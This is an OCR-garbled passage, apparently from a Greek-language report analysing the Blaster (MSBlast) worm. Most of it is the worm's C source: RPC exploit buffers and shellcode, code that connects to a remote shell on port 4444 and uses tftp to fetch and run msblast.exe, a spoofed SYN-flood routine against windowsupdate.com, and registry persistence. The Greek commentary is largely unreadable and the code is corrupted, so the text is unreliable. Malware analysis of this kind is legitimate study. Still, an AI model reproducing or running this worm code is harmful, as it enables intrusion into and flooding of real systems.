,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA4,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAD, 0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAA, 0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x07,0x00,0x00,0x00,0x60,0x00
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,0x00,0x00,0x58,0x00,0x00,0x00,0x90,0x00,0x00,0x00, 0x40,0x00,0x00, 0x00,0x20,0x00
,0x00,0x00,0x78,0x00,0x00,0x00,0x30,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x10
,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x50,0x00,0x00,0x00,0x4F, 0xB6,0x88, 0x20, 0xFF, OxFF
,0xFF,0xFF,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x00, 0x00, 0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x00, 0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00, 0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00, 0x00,0x00, 0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10
,0x08,0x00,0xCC,0xCC, 0xCC,0xCC, 0x48,0x00,0x00,0x00,0x07,0x00,0x66,0x00,0x06,0x09
,0x02,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x10,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x78,0x19,0x0C,0x00,0x58,0x00,0x00,0x00,0x05,0x00,0x06,0x00,0x01,0x00
,0x00,0x00,0x70,0xD8,0x98,0x93,0x98,0x4F,0xD2,0x11,0xA9,0x3D,0xBE, 0x57,0xB2,0x00
,0x00,0x00,0x32,0x00,0x31,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC, 0xCC,0xCC, 0x80,0x00
,0x00,0x00,0x0D, 0xF0,0xAD, 0xBA, 0x00, 0x00, 0x00,0x00, 0x00,0x00, 0x00, 0x00,0x00, 0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x18,0x43,0x14,0x00,0x00,0x00,0x00,0x00,0x60,0x00
,0x00,0x00,0x60,0x00,0x00,0x00,0x4D, 0x45,0x4F, 0x57,0x04,0x00, 0x00,0x00,0xC0,0x01
,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x3B,0x03
,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00, 0x00,0x00, 0x46,0x00,0x00
,0x00,0x00,0x30,0x00,0x00,0x00,0x01,0x00,0x01,0x00,0x81,0xC5,0x17,0x03,0x80,0x0E
,0xE9,0x4A,0x99,0x99,0xF1,0x8A,0x50,0x6F,0x7A,0x85,0x02,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x00, 0x00,0x00,0x00
,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC, 0xCC,0xCC, 0x30,0x00
,0x00,0x00,0x78,0x00,0x6E,0x00,0x00,0x00,0x00,0x00,0xD8,0xDA, 0x0D, 0x00, 0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x2F, 0x0C, 0x00, 0x00,0x00, 0x00,0x00, 0x00, 0x00
,0x00,0x00,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x03,0x00,0x00,0x00,0x46,0x00
,0x58,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x10,0x00
,0x00,0x00,0x30,0x00,0x2E, 0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00, 0x00,0x00, 0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC, 0xCC,0xCC, 0x68,0x00
,0x00,0x00,0x0E,0x00, OxFF, OxFF,0x68,0x8B,0x0B,0x00, 0x02,0x00,0x00, 0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00},

unsigned char request2[]={

0x20,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x00
,0x00,0x00,0x5C,0x00,0x5C,0x00};

unsigned char request3[]={

Ox5C,0x00
,0x43,0x00,0x24,0x00,0x5C,0x00,0x31,0x00,0x32,0x00,0x33,0x00,0x34,0x00,0x35,0x00
,0x36,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00
,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00
,0x2E,0x00,0x64,0x00,0x6F,0x00,0x63,0x00,0x00,0x00},

unsigned char sc[]=

"|x46|x00)x58\x00\x4E|x00|x42\x00\x46 | x00\|x58|x00"

"|x46|x00)|x58\x00\x4E |x00|x42\x00\x46 | x00|x58|x00)|x46 | x00\x58|x00"
"|x46\x00)|x58|x00|x46|x00\x58\x00"

"\ XXX /* return address */

"|xcc|\xe0\xfd\x7f"
"|x901x90\x90|x90|x90|x90|x90|x90\x90\x90|x90|x90|x90|x90|x90|x90"
"|x90\x90)x90|x90|x90\x90\x90|x90|x90|x90|x90\x90\|x90|x90\|x90|x90"
"|x901x90\x90\x90|x90|x90|x90|x90\x90\x90|x90\x90|x90|x90|x90|x90"
"|x90\x90)x90\x90)x90\x90)|x90|x90)|x90\x90)x90\x90\|x90\x90\x90\x90"
"|x90\x90)x90|x90|x90\x90\x90|x90|x90|x90|x90\x90|x90|x90|x90\|x90"
"|x901x90\x90\x90|x90|x90|x90|x90\x90\x90|x90|x90|x90|x90|x90|x90"
"|x90\x90)x90|x90|x90\x90\x90|x90|x90|x90\x90\x90\|x90|x90|x90|x90"
"|x90\x90\x90|x90|x90|x90|x90|x90\x90\x90\x90|x90|x90|x90|x90|x90"
"|x90\x90)x90\x90)x90\x90)x90|x90)|x90\x90)x90\x90)|x90\x90\x90\x90"
"|x901x90\x90\x90|x90|x90|x90|x90\x90\x90\x90\x90|x90|x90|x90|x90"
"|x901x90\x90\x90|x90|x90\x90\xeb|x19\x5e|x31 | xc9|x81 | xe9|x89 | xff"
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"|xff\xffix81|x36\x80\xbfIx32|x94|x81 | xee | xfc|\xff| xff|xffixe2 | xf2"
"|xeb|x05|xe8\xe2|\xf\xffxfflx03\x53|x06\x1flx74\x57|x75|x95|x80"
"|xbfixbb|x92\x7f\x89\x5a|x1a|xce\xbl|xde|x/c|xel\xbe|x32|x94|x09"
"|xf9\x3a|x6b|xb6\xd7\x9f\x4d|x85|x71|xda|xc6|x81|xbfix32|x1d\xc6"
"|xb3\x5a|xf8|xec|xbflx32|xfc|xb3|x8d|x1c|xfO|xe8\xc8\x41|xab | xdf"
"|xeb|xcd|xc2\x88\x36\x74\x90\x7f|1x89|x5a\xeb|x7e|\x0c|x24\x7c|xad"
"|xbe|x32|x94\x09\xf9\x22|x6b\xb6|xd7 | x4c|x4c|x62|xcc|xda\x8a|x81"
"|xbf\x32\x1d\xc6\xab\xcd\xe2|x84\xd7\xf9\x79\x7c|x84\xda|x9a|x81"
"|xbfiIx32\x1d\xc6\xa’\xcd\xe2|x84\xd7|xeb|\x9d\|x75\|x12|xda\x6a|x80"
"|xbfix32\x1d\xc6\xa3\xcd\xe2|x84\xd7|x96|x8e|xf0\x78\xda|x7a|x80"
"|xbfIx32\x1d\xc6\x9f|\xcd|xe2|x84\xd7|x96|x39|xae|x56|xda|x4a|x80"
"|xbfix32\x1d\xc6\x9b\xcd\xe2|x84\xd7\xd7\xdd\x06\xf6|xda\|x5a|x80"
"|xbflx32\x1d\xc6\x97|xcd\xe2|x84\xd7\xd5\xed\|x46|xc6|xda|x2a|x80"
"|xbfAAx32\x1d\xc6\x93|x01 | x6b|x01 | x53\xa2|x95|x80\|xbf\x66\xfc|x81"
"|xbe|x32|x94\x7flxe9\|x2a|xc4\xd0\xef|x62|xd4\xd0\xfflx62\x6b|xd6"
"|xa3|xb9|x4c|xd7|xe8\x5a|x96|x80\|xae|x6e|x1flx4c|xd5|x24|xc5|xd3"
"|x40\x64\xb4\xd7\xec\xcd|xc2\xa4|xe8\x63\xc/\x7flxe9\x1a|x1flx50"
"|xd7\x57\|xec\xe5\xbf|\x5a|xf7|\xed\xdb\x1c\x1d\|xe6\x8f|\xb1|x78\xd4"
"|x32\x0e\xb0\xb3\x7fIx01 \x5d\x03\x7e\x27\x3f1x62|x42 | xf4\xd0\xa4"
"|xaflx76\x6a\xc4\x9b\x0f\x1d\xd4\x9b\x7a|x1d\xd4\x9b|x7e\x1d\xd4"
"|x9b\x62\|x19\xc4|x9b|x22|xc0\xd0\xee\x63\xc5|xea|xbe|x63\xc5|x7f"
"|xc9\x02\xc5\x7f\xe9\x22\x1f|x4c|xd5|xcd|x6b|xb1|x40\x64|x98|x0b"
"|x77\x65)|x6b\xd6\x93\xcd|xc2|x94|xea|\x64\|xf0|x21|x8f|1x32|x94|x80"
"|x3a|xf2\xec|x8c\x34\x72\x98|x0b | xcfix2e|x39\x0b\xd7 | x3a\|x7fIx89"
"|x34\x72|xa0\x0b\|x17|x8a\x94|x80\xbflxb9\x51|xde|xe2|xf0|x90|x80"
"|xec|x67\xc2\xd7\x34\x5e\xb0\x98\x34\x77\xa8\x0b\xeb|x37|xec|x83"
"|x6a|xb9|xde|x98\x34|x68|\xb4|x83|x62|xd1|xab|xc9|x34\x06\x1fIx83"
"|x4a|x01|x6b|x7c|x8c|xf2|x38|xba\|x7b\x46\x93|x41|x70|x3f|x97|x78"
"|x54\xc0\xaf|\xfc|x9b|x26\xel |x61|x34\x68\xb0\x83|x62|x54|x1f1x8c"
"|xf4\xb9\xce|x9c|xbc|xef|x1f\x84|x34\x31|x51|x6b\xbd|x01|x54\x0b"
"|x6a|x6d|xca|xdd|xe4\xf0|x90\x80\x2f\xa2|x04";
unsigned char request4[]={

0x01,0x10
,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x20,0x00,0x00,0x00,0x30,0x00,0x2D, 0x00,0x00,0x00
,0x00,0x00,0x88,0x2A,0x0C, 0x00,0x02,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x28,0x8C
,0x0C,0x00,0x01,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00
¥

int Threadld;

int len;

int sizeof _sa,;

int ret;

int opt;

void *hThread;

struct sockaddr_in target_ip;

struct sockaddr_in sa;

int fd;

char cmdstr{0x200];

int leni,;

unsigned char buf2[0x1000];

int i;

opt =0;

ioctlsocket(sock, FIONBIO , &opt);

if (winxpl_or_win2k2 == 1)

ret = 0x100139d;

else

ret = Ox18759f;

memcpy(sc+36, (unsigned char *) &ret, 4);
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len=sizeof(sc);

memcpy(buf2, requestl,sizeof(requestl));

len1=sizeof(request1);

*(unsigned long *)(request2)=*(unsigned long *)(request2)+sizeof(sc)/2;
*(unsigned long *)(request2+8)=*(unsigned long *)(request2+8)+sizeof(sc)/2;
memcpy(buf2+lenl,request2, sizeof(request?));

len1=lenl1+sizeof(request2);

memcpy(buf2+len1,sc,sizeof(sc));

len1=lenl+sizeof(sc);

memcpy(buf2+lenl,request3,sizeof(request3));

len1=len1+sizeof(request3);

memcpy(buf2+lenl, request4,sizeof(request4));

len1=lenl+sizeof(request4);

*(unsigned long *)(buf2+8)=*(unsigned long *)(buf2+8)+sizeof(sc)-0xc;
*(unsigned long *)(buf2+0x10)=*(unsigned long *)(buf2+0x10)+sizeof(sc)-0xc;
*(unsigned long *)(buf2+0x80)=*(unsigned long *)(buf2+0x80)+sizeof(sc)-0xc;
*(unsigned long *)(buf2+0x84)=*(unsigned long *)(buf2+0x84)+sizeof(sc)-0xc;
*(unsigned long *)(buf2+0xb4)=*(unsigned long *)(buf2+0xb4)+sizeof(sc)-0xc;
*(unsigned long *)(buf2+0xb8)=*(unsigned long *)(buf2+0xb8)+sizeof(sc)-0xc;
*(unsigned long *)(buf2+0xd0)=*(unsigned long *)(buf2+0xd0)+sizeof(sc)-0xc;
*(unsigned long *)(buf2+0x18c)=*(unsigned long *)(buf2+0x18c)+sizeof(sc)-0xc;
if (send(sock, bindstr, sizeof(bindstr),0)== -1)

{

//perror("- Send");

return,;

}

if (send(sock,buf2,len1,0)== -1)

{

//perror("- Send");

return,;

}

closesocket(sock),

Sleep(400);

if ((fd=socket(AF_INET,SOCK _STREAM,0)) == -1)

return,

memset(&target_ip, 0, sizeof(target_ip));

target_ip.sin_family = AF_INET;

target_ip.sin_port = htons(SHELL_PORT_4444);

target_ip.sin_addr.s_addr = inet_addr(victim_ip);

if (target_ip.sin_addr.s_addr == SOCKET_ERROR)

return,

if (connect(fd, (struct sockaddr*)&target_ip,
sizeof(target_ip)) == SOCKET_ERROR)

return,;

memset(target_ip_string, 0, sizeof(target_ip_string));

sizeof_sa = sizeof(sa);

getsockname(fd, (struct sockaddr*)&sa, &sizeof sa);

sprintf(target_ip_string, "%d. %d. %d. %d",

sa.sin_addr.s_net, sa.sin_addr.s_host,

sa.sin_addr.s_Ih, sa.sin_addr.s_impno);

if (fd_tftp_service)

closesocket(fd _tftp_service),

hThread = CreateThread(0,0,

blaster_tftp_thread,0,0,&Threadld);

Sleep(80), /*give time for thread to start*/

sprintf(cmdstr, "tftp -i %s GET %s|n”,

target_ip_string, MSBLAST_EXE),
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if (send(fd, cmdstr, strlen(cmdstr), 0) <= 0)
goto closesocket_and_return;

Sleep(1000);

for (i=0; i<10 && is_tftp_running; i++)
Sleep(2000);

sprintf(cmdstr, "start %s\n", MSBLAST_EXE);
if (send(fd, cmdstr, strlen(cmdstr), 0) <= 0)
goto closesocket_and_return;

Sleep(2000);

sprintf(cmdstr, "%s\n", MSBLAST_EXE);
send(fd, cmdstr, strlen(cmdstr), 0);
Sleep(2000),

closesocket_and_return:

if(fd!=0)

closesocket(fd),

if (is_tftp_running) {
TerminateThread(hThread,0);
closesocket(fd_tftp_service);
is_tftp_running = 0;

}

CloseHandle(hThread);

}

int blaster_resolve_ip(const char *windowsupdate_com)
{

int result;

result = inet_addr(windowsupdate _com);

if (result == SOCKET_ERROR) {

HOSTENT *p_hostent = gethostbyname(windowsupdate _com);
if (p_hostent == NULL)

result = SOCKET_ERROR;

else

result = *p_hostent->h_addr;

}

return result;

}

/>k

ULONG WINAPI blaster_DoS _thread(LPVOID p)

{

int opt = 1;

int fd;

int target_ip;

target_jp = blaster_resolve_ip("windowsupdate.com");
fd = WSASocket(

AF_INET, /*TCP/IP sockets*/

SOCK_RAW, /*Custom TCP/IP headers*/
IPPROTO_RAW,

NULL,

0,

WSA_FLAG_OVERLAPPED

if (fd == SOCKET_ERROR)

return 0;

if (setsockopt(fd, IPPROTO_IP, IP_HDRINCL,
(char*)&opt, sizeof(opt)) == SOCKET_ERROR)
return 0;

for (;;) {

blaster_send_syn_packet(target_ip, fd),

-30-



Sleep(20);

}

closesocket(fd),

return 0;

}

int blaster_checksum(const void *bufv, int length)
{

const unsigned short *buf = (const unsigned short *)bufv;
unsigned long result = 0;
while (length > 1) {

result += *(buf++);
length -= sizeof(*buf);

}

if (length) result += *(unsigned char*)buf;
result = (result >> 16) + (result & OXFFFF);
result += (result >> 16);
result = (~result)&O0xFFFF;
return (int)result;

}

void blaster_send_syn_packet(int target_ip, int fd)
{

struct IPHDR

{

unsigned char verlen;
unsigned char tos;
unsigned short totallength,
unsigned short id;
unsigned short offset;
unsigned char tti;
unsigned char protocol;
unsigned short checksum;
unsigned int srcaddr;
unsigned int dstaddr;

¥

struct TCPHDR

{

unsigned short srcport;
unsigned short dstport;
unsigned int seqno;
unsigned int ackno;
unsigned char offset;
unsigned char flags;
unsigned short window;
unsigned short checksum;
unsigned short urgptr;

¥

struct PSEUDO

{

unsigned int srcaddr;
unsigned int dstaddr;
unsigned char padzero;
unsigned char protocol;
unsigned short tcplength;
¥

struct PSEUDOTCP

{

unsigned int srcaddr;
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unsigned int dstaddr;

unsigned char padzero;

unsigned char protocol;

unsigned short tcplength;

struct TCPHDR tcphdr;

Y

char spoofed_src_ip[16];

unsigned short target_port = 80;

struct sockaddr _in to;

struct PSEUDO pseudo;

char buf[60] = {0},

struct TCPHDR tcp;

struct IPHDR ip;

int source_ip;

srand(GetTickCount());

sprintf(spoofed_src_ip, "%i.%i.%i.%i",

local class_a, local class_b, rand()%255, rand()%255),
source_ip = blaster_resolve_ip(spoofed_src_ip),
to.sin_family = AF_INET;

to.sin_port = htons(target_port);
to.sin_addr.s_addr = target_ip;

ip.verlen = 0x45;

ip.totallength = htons(sizeof(ip) + sizeof(tcp));

ip.id = 1;
ip.offset = 0;
ip.ttl = 128;

ip.protocol = IPPROTO_TCP;

ip.checksum = 0;

ip.dstaddr = target_ip;

tcp.dstport = htons(target_port);

tep.ackno = 0;

tep.offset = (unsigned char)(sizeof(tcp)<<4);

tcp.flags = 2; /XTCP_SYN*/

tcp.window = htons(0x4000);

tep.urgptr = 0;

tcp.checksum = 0;

pseudo.dstaddr = ip.dstaddr;

pseudo.padzero = 0;

pseudo.protocol = IPPROTO_TCP;

pseudo.tcplength = htons(sizeof(tcp));

ip.srcaddr = source_ip;

tep.srcport = htons((unsigned short)((rand()%1000)+1000));
tep.segno = htons((unsigned short)((rand()<<16)[rand())),
pseudo.srcaddr = source_ip;

memcpy(buf, &pseudo, sizeof(pseudo));
memcpy(buf+sizeof(pseudo), &tcp, sizeof(tcp)),
tcp.checksum = blaster_checksum(buf,
sizeof(pseudo)+sizeof(tcp)),

memcpy(buf, &ip, sizeof(ip));

memcpy(buf+sizeof(ip), &tcp, sizeof(tcp));
memset(buf+sizeof(ip)+sizeof(tcp), 0,
sizeof(buf)-sizeof(ip)-sizeof(tcp)),

ip.checksum = blaster_checksum(buf, sizeof(ip)+sizeof(tcp));
memcpy(buf, &ip, sizeof(ip));

sendto(fd, buf, sizeof(ip)+sizeof(tcp), 0,(struct sockaddr*)&to, sizeof(to));}
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3.1.3 AvdAuon Twv onNUAavTiK®V KOHUHATI®V
TOU nnyaiouv Kwoika

>TIC ENOMEVEG Napaypa@ouc 6a avaAUCOUNE TOUC ONUAVTIKOTEPOUG
KwOIKEG NMOU UNAPXOUV HECA OTO OKOUANKI Blaster nou €idape napanavw. O
Blaster kaTaokeudoTnNKe ano €vav €@nBo nou NpoopaTa avakaAuye TI onUaivel
ayann. XToug KwOIKEC nNou Ba BpoUpe oTnV cuvexela Ba d1anIoTWOOUNE OTI EXEI
ypagei ge €vav epnPikd TpOno kai 0xl JE eUKOAEC AUCEIC nou Ba pnopouUoe va
Bpel &vac npoypapuaTioThC. Eniong 6a BpoUue kanoia pnvupaTa nou BEAel va
nepaoel o Buford (o €épnBoc nou €pTia&s Tov Blaster) onwc yia napadesiyuya va
MNV NANPWVOUKE TO AOYIOMIKO Kal OTI ayand Tnv San...

O1 apXIKEG YPAMMEG TOU NpoypaupaTtog dev XpnaoigonoloUuvTal 0To
OKOUANKI, TIC EBaAe dw £TOI WOTE Ol EPEUVNTEG Nou Ba Tov avakaAunTtav va
hunopgoouv va diaBacouv To pivupa Tou. Kai Ta duo ynvuuara €ivai
XAPAKTNPIOTIKA CUPNEPIPOPAG EVOC £PriBou Nou avakaAuye npoopaTa Tnv
ayann, kal ival ypappeva Pe epnpiko Tpono.

const char msg1[]="I just want to say LOVE YOU SAN!!";
const char msg2[]="billy gates why do you make this possible ?"
" Stop making money and fix your software!!l";

O Buford €xel BaAel oTnv Kopu®n Wia otabepn JeTAaBANTA ONOU PNOPEI va
KaBopioel To OVopa ToOU oKoUANKIoU £TOI WOTE va PNopei va aAAa&el To ovopa
TOU OKOUANKIOU onoladnnoTe OTIyHr auToc BeAnosl. Anod OTI £xel avapepBOei aTo
d1adikTuo o Buford dAAa&e To Ovoua Tou okouAnkiou oTic 2003-09-29. AuTn
gival kal n TeAeuTaia aAAayr nNou €yIVE OTO OKOUANKI.

#define MSBLAST _EXE "msblast.exe"”

>TNV Ypauun nou avaypdgpeTe nio kAtw 6Oa KpaTtnosl Tnv TpeEXouaoa
dlevBuvon IP
char target_ip_string[16];
Anuioupyei o@aipikil HETABANTA yia va KpaTtnoel Tnv unodoxn yia Tnv
unnpeoia TFTP.

int fd_tftp_service;
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Anpioupyei €va kAeidi registry nou 6a kKAvel TO OKOUANKI va TpEEEl KAOe
@opd nou Ba &ekivasl To oUOTNUA va TPEXEl. Z€ AUTO TO KOMMATI neipalel Ta
KA€IOIGd TOU OUOTAMATOC ONWC PBAENOUME KAl aAnoO Tov KwdIKA KAl HAg
anevepyonolei To update Twv Windows. Enionc kabapilel Ta kAsidid €101 wOTE
va Pnopei va diaypagel Ta apxeia xwpic va Tov gunodilel To ouoTnua.

RegCreateKeyEx(

/*hKey*/ HKEY _LOCAL_MACHINE,
/*IpSubKey*/ "SOFTWARE\\Microsoft\\Windows\\"
"CurrentVersion\\Run",

/*Reserved*/ 0,

/*IpClass*/ NULL,

/*dwOptions*/ REG_OPTION_NON_VOLATILE,
/*sambDesired */ KEY _ALL_ACCESS,
/*IpSecurityAttributes*/ NULL,

/*phkResult */ &hKey,

/*IpdwDisposition */ 0);

RegSetValueEXA(

hKey,

"windows auto update”,

0,

REG_Sz,

MSBLAST_EXE,

50);

RegCloseKey(hKey),

AnuioupywvTtac €va mutex nou ovopaderar "BILLY". EOw HE TNV EVTOAN
autry 6a pnopei va BAENEl OTI TO OKOUANKI €XEl MOAUVElI TO ouoTnua kai Ba
EYKATAAEINEl.

CreateMutexA(NULL, TRUE, "BILLY");

if (GetLastError() == ERROR_ALREADY EXISTS)
ExitProcess(0);

'ETO1 wOoTE va Ynv Pnopei va kavel enavaAnyn Tov idlo 10.

'OTav TO OKOUANKI JOAUVEI pia gnxavn TOTE o XpnoTng &ava &ekiva To
MNXAvnua Tou Kal N eniKoIVwvia Tou okouAnkioU 6a npokaA&oel TO EVOXANTIKO
popup Yia To xpnotn. 'ETol Tov Kavel va unoyiacoTei 0TI To ouoTNUaA €ivai
MOAUGNEVO Kal va evioXUOoel To avTiBIOTIKO Tou N akoua kal va wa&el Tov 10. O
Buford €€€Taoe Tov KwdIKA TOU O€ HIid PINXavir avakaAunTtovTac autod To
npoBAnua. 'ETol npoonabnoe va To AUCEl Kal auTo Ppaiveral anod Tov Kwdika nou
avaQEPETE OTO KATW KOWMATI nou Ba doUpue. 'Eva peydAo HEPOC TOU KWOIKA
Ogixvel 0TI dev EOOeWe NOAU XpOVO, AuTh N YPAUMN O&iXVEl OTI TOUAAGXIOTOV EXEI
yivel pgia pikpr SoKIun.

while (!InternetGetConnectedState(&Threadld, 0))
Sleep (20000); /*nepiugvel 20sec kai Eava Tpexer */
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To okoUANKI NpeEnel va AABel TIC ano®acelg "tuxaia" €10l KABE OKOUANKI
npenel eMNIAEEEI OIAQOPETIKA CUCTANATA YIA va POAUVEL. MNPOKEINEVOU va KAVEI
TUXaieg €NIAOYEC, O MPOYPANUATIOTAC NPENel "va naipvel" Tuxaia yevvnTpia
apiBuou. O XapakTnpIoTIKOG TPOMNOG va Yivel auTo eival pe timestamp(). Edw o€
auTtov Tov kKwdika Ba dianioTwoeTe 0TI 0 Buford kaAei Tnv "srand()" noAAEg
(POpPEC. AUTO €ival KATa €va PeyAAo PEPOC NEPITTO, Kal nNaAl deixvel o1 Buford
dev eival BeBalog oTIg OeEIOTNTEC NPOYPAUMATIONOU TOU, £TOI KAVEI eEnavainyn
OUVEXEIQ OTNV YEVVNTPIA NPOKEIPMEVOU VA YiVEl Oiyoupog OTI EXEl NAPEI TO
owaoTo.

srand(GetTickCount());

AUTO TO KOMMATI TOU MPOYyPANHAToG avakaAunTel Tnv Tonikn dieubuvaon IP
Mou XPNOIYOMOIEITAl auTnV TNV nepiodo and To pnxavnua nou €xel JOAUVOE..
H unxavn enmAéyel Tuxaia yia kabesyia va poAuvel 1o Toniko diktuo ClassB, n
Kanolo aAAo diKTUO Mou gival cuvOeDEPEVOC O UNOAOYIOTNG, EMONEVWC NPENEI va
E€pel TO TOMIKO OikTUO. O JdnuIoupydC Tou okouAnkioUu (o Buford dnAadn)
Xpnolgonolei évav ouvBeto Tpono oto kwdika Tou blaster. AileuBuvon IP oe
ocipd, avaAuel kI €neiTa yupilel niow otov apiBud. Autd pag anodelkvuel OTI O
Buford eival véoc akoua OTov MPOyPAMUPATIONO HWE C KAl avTi va OKEPTEN TNV
duadikn HopPn OKEPTETAI TNV TUNWMHEVN avTinpoowneuon TnG dieubuvoncg IP.

if (gethostname(myhostname, sizeof(myhostname)) = -1) {
HOSTENT *p_hostent = gethostbyname(myhostname);
if (p_hostent !'= NULL && p_hostent->h_addr '= NULL) {
struct in_addr in;

const char *p_addr_item;

memcpy(&in, p_hostent->h_addr, sizeof(in));
sprintf(myhostname, "%s", inet_ntoa(in)),;

p_addr_item = strtok(myhostname, ".");

ClassA = atoi(p_addr_item);

p_addr_item = strtok(0, ".");

ClassB = atoi(p_addr_item);

p_addr_item = strtok(0, ".");

ClassC = atoi(p_addr_item);

if (ClassC > 20) {

AUTO emIAEyEl €AV N HOAUCHEVN pnxavh 6a avixveuoel akpiBwS To ToMIKO
dikTuo (MBavoTnTa 40%) ) €va Tuxaio dikTuo (MBavoTnTa 60%)

srand(GetTickCount());

if ((rand() % 20) < 12)
scan_local = FALSE;
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JuUvnNOwE Toug 10UG TouG KaTaokeualouv ol XAKEP Yia va XTUMNnoouv
AoyIoMIKG Kal kKupiwg Ta Windows kal kGBe €kdoon Toug. AuTO pag d€iXVvel kal o
Buford o011 B€Ael va XTUNAoEl 0 10¢ Kal yI auTo o Buford €xel eniA&Esl Ta nio
a&ionioTa kai nio pnuIoKUeEva Aoyiodika Tng Microsoft nou eival Ta Windows XP
kal Windows 2000. To okoUARKI np&nel va unoBeoel (Tuxaia) nio anod ta duo
Aoyliopika eival. Kar Ta noocooTtd nou £xel BaAel o Buford ival 80% Tou Xpovou
Ba unoBeoel 0TI OAa Ta ouoTHUATa Pe Aoylopikd Win XP , kai 20% Tou XpOvou
autoU Ba unoBeoel 0TI OAa Ta BupaTa €ivar Win2000.

winxpl_or_win2k2 = 1;
if ((rand()%10) > 7)
winxpl_or_win2k2 = 2;

Edw yiveTe 0 TpoONoC peTadoonc Tou Kal N JETAagopda Tou. AauBavel &va
NMAKETO, 0NoIodNNOTE NAKETO. TO NEPIEXOUEVO TOU NAKETOU AyVoEiTal. AUTO
onuaivel, OTI €va apuvTiko "worm-kill" 8a pnopouoe va oTeilel €va NAkeTo ano
karnou aAAou. AuTo Ba avaykdaoel Tov KevTpikd TFTP server va kateBacel To
apxeio msblast.exe otn Aavbaopevn B€on, nou anoTpenesl To BUPA va Kavel
download

sizeof _client = sizeof(client);

if (recvfrom(fd, regbuf, sizeof(regbuf), O,
(struct sockaddr*)&client, &sizeof client) <= 0)
goto closesocket_and_exit;

O TFTP server 8a anokpiBsi pe noAAd blocks 512 bytes €wc OTou £xel
oTeiAel evTEAWG TO apXeio. KabBe block npenel va €xel pyia povadikn TautdTNTa,
kal kabe block npenel va avayvwpioTei. ‘ETol o Buford €ékave To OKOUANKI va
ayvoei Ta TFTP ACKs. AuTO €ival mBavotata o AOYyoG Mou TO OKOUANKI
ENAVEKKIVEI TNV unnpeaia TFTP avTi va Tnv agnoel evepyonoinuevn. Kabapilel
ouolaoTika 6Aa To ACKs and Tn osipd avapovig EI0EPXOUEVWY NAKETWV. Eav Ta
ACKs dev apaipebouv, To OKOUANKI Oa Ta peTaxeipioTtei AavBaopuéva oav TFTP
requests.

block_id = 0;
Avolyua autoU Tou apxeiou. To GetModuleFilename xpnoigonoindnke yia

va unoAoyiosl auTo To ovoua apxeiou.
fp = fopen(msblast_filename, "rb");

if (fp == NULL)
goto closesocket_and_exit;
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JuveyiCel Ta fragments apxeiwv MEXPI va PN WEiVEl Kavéva

for (;;) {
block_id++;

KaTtaokeun TFTP header

#define TFTP_OPCODE_DATA 3
*(short*)(rspbuf+0) = htons(TFTP_OPCODE_DATA);
*(short*)(rspbuf+2)= htons((short)block_id);

AlaBalel To endpevo block oToixeiwv (nepinou 12 blocks xpelaleral va
diaBaaoTouv)

block_size = fread(rspbuf+4, 1, 512, fp);

AUEnon Tou anoTeAeopaTikoU PAKOUG Yia va nepiAaBel To TFTP head nou
PTIAXTNKE Napanavw

block_size += 4;

AnooTtoAn Tou block

if (sendto(fd, (char*)&rspbuf, block_size,
0, (struct sockaddr*)&client, sizeof_client) <= 0)
break;

Adpavelia yia To okoUuAnkl. O Adyog sival 0TI To okoUANKI dg xpelaleTal
avapeTadoosiC -- ENOUEVWC NPENEl va OTEIAEI TA NAKETA APKETA apyd WOTE va
HN xabouv Aoyw cup@opnonG. Eav xaoel eva nakero, Ba kavel DoS oTo Bupa
XWPIC NPAyNATIKA va To JOAUVEL. XelpoTepa: To npoopildpevo Buua Ba
OUVEXIOEI va OTEAVEI NAKETA, NAPEPNOBI(OVTAC TO OKOUANKI va JOAUVEl VEQ
ouoTApaTa eneidn Ta requests Ba divouv Aavbaopevn kateuBuvon TFTP. AuTdg
